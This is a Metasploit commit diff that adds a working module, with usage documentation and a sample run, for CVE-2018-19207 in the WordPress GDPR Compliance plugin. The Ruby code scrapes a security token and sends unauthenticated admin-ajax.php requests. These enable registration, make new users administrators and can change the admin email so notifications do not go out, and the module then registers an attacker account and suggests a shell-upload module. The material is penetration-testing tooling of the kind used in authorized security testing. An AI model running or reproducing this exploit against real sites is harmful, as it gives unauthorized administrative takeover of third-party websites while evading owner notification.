Land #10952, WP GDPR Compliance plugin exploit

4.x
Jacob Robles 2018-11-29 13:31:31 -06:00 committed by Metasploit
parent 2c33b3bcc0
commit 340f6d7d0d
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
5 changed files with 198 additions and 0 deletions

View File

@ -0,0 +1,48 @@
## Description
This module exploits the [Wordpress GDPR compliance plugin](https://wordpress.org/plugins/wp-gdpr-compliance/) lack of validation ([WPVDB 9144](https://wpvulndb.com/vulnerabilities/9144)), which affects versions 1.4.2 and lower.
When a user triggers GDPR-related actions, Wordpress's `admin-ajax.php` is called but fails to do validation and capacity checks regarding the asked actions. This leads to any unauthenticated user being able to modify any arbitrary settings on the targeted server.
This module changes the admin email (optional) to prevent notification sending, enables new user registration, changes the default role of new users to Administrator, and registers a new user that can be used for authentication. The attacker can then log in and take any actions on the newly compromised site.
## Vulnerable Application
[GDPR Compliance plugin <= 1.4.2](https://downloads.wordpress.org/plugin/wp-gdpr-compliance.1.4.2.zip)
## Verification Steps
1. Install the application
2. `./msfconsole`
3. `use auxiliary/admin/http/wp_gdpr_compliance_privesc`
4. `set RHOST [wp host]`
5. `set RPORT [wp port]`
6. `set EMAIL [email address]`
7. `run`
## Scenarios
### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:
```
msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
verbose => true
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
rhosts => 172.22.222.145
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
email => test@example.com
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
[*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
[*] Found version 1.4.2 of the plugin
[*] 172.22.222.145:80 The target appears to be vulnerable.
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
[*] Getting security token from host...
[!] Enabling user registrations...
[!] Setting the default user role type to administrator...
[*] Registering msfuser with email test@example.com
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
```

View File

@ -10,6 +10,7 @@ module Msf
require 'msf/core/exploit/http/wordpress/base'
require 'msf/core/exploit/http/wordpress/helpers'
require 'msf/core/exploit/http/wordpress/login'
require 'msf/core/exploit/http/wordpress/register'
require 'msf/core/exploit/http/wordpress/posts'
require 'msf/core/exploit/http/wordpress/uris'
require 'msf/core/exploit/http/wordpress/users'
@ -21,6 +22,7 @@ module Msf
include Msf::Exploit::Remote::HTTP::Wordpress::Base
include Msf::Exploit::Remote::HTTP::Wordpress::Helpers
include Msf::Exploit::Remote::HTTP::Wordpress::Login
include Msf::Exploit::Remote::HTTP::Wordpress::Register
include Msf::Exploit::Remote::HTTP::Wordpress::Posts
include Msf::Exploit::Remote::HTTP::Wordpress::URIs
include Msf::Exploit::Remote::HTTP::Wordpress::Users

View File

@ -20,6 +20,22 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
post_data
end
# Returns the POST data for a Wordpress register request
#
# @param user [String] Username
# @param email [String] Email Address
# @param redirect URL [String] to redirect after successful registration
# @return [Hash] The post data for vars_post Parameter
def wordpress_helper_register_post_data(user, email, redirect = nil)
{
'user_login' => user.to_s,
'user_email' => email.to_s,
'redirect_to' => redirect.to_s,
'wp-submit' => 'Register'
}
end
# Helper method to post a comment to Wordpress
#
# @param comment [String] The comment

View File

@ -0,0 +1,20 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Wordpress::Register
# performs a wordpress registration
#
# @param user [String] Username
# @param email [String] Email Address
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [Bool] registration request success status
def wordpress_register(user, email, timeout = 20)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_get' => {'action' => 'register'},
'vars_post' => wordpress_helper_register_post_data(user, email, redirect)
}, timeout)
res && res.redirect? && res.redirection && res.redirection.to_s == redirect
end
end

View File

@ -0,0 +1,112 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
'Description' => %q{
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
wordpress administration options by overwriting values within the database.
The vulnerability is present in WordPresss admin-ajax.php, which allows unauthorized
users to trigger handlers and make configuration changes because of a failure to do
capability checks when executing the 'save_setting' internal action.
WARNING: The module sets Wordpress configuration options without reading their current
values and restoring them later.
},
'Author' =>
[
'Mikey Veenstra (WordFence)', # Vulnerability discovery
'Thomas Labadie' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/'],
['CVE', '2018-19207'],
['WPVDB', '9144']
],
'Notes' =>
{
'SideEffects' => [CONFIG_CHANGES]
},
'DisclosureDate' => 'Nov 08 2018'
))
register_options [
OptString.new('EMAIL', [true, 'Email for registration', nil]),
OptString.new('USER', [true, 'Username for registration', 'msfuser'])
]
register_advanced_options [
OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil])
]
end
def check
check_plugin_version_from_readme('wp-gdpr-compliance', '1.4.3')
end
def set_wp_option(name, value, ajax_security)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'wpgdprc_process_action',
'security' => ajax_security,
'data' => "{\"type\":\"save_setting\",\"append\":false,\"option\":\"#{name}\",\"value\":\"#{value}\"}"
}
)
res && res.code == 200
end
def run
print_status('Getting security token from host...')
wp_home_res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
unless wp_home_res && wp_home_res.code == 200
fail_with(Failure::UnexpectedReply, "Unable to access Wordpress: #{target_uri.path}")
end
ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]
if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security)
print_error('Failed to change the admin e-mail address')
return
end
end
print_warning('Enabling user registrations...')
unless set_wp_option('users_can_register', '1', ajax_security)
print_error('Failed to enable user registrations')
return
end
print_warning('Setting the default user role type to administrator...')
unless set_wp_option('default_role', 'administrator', ajax_security)
print_error("Failed to set the default user role")
return
end
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
print_error("Failed to register user")
return
end
vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
end
end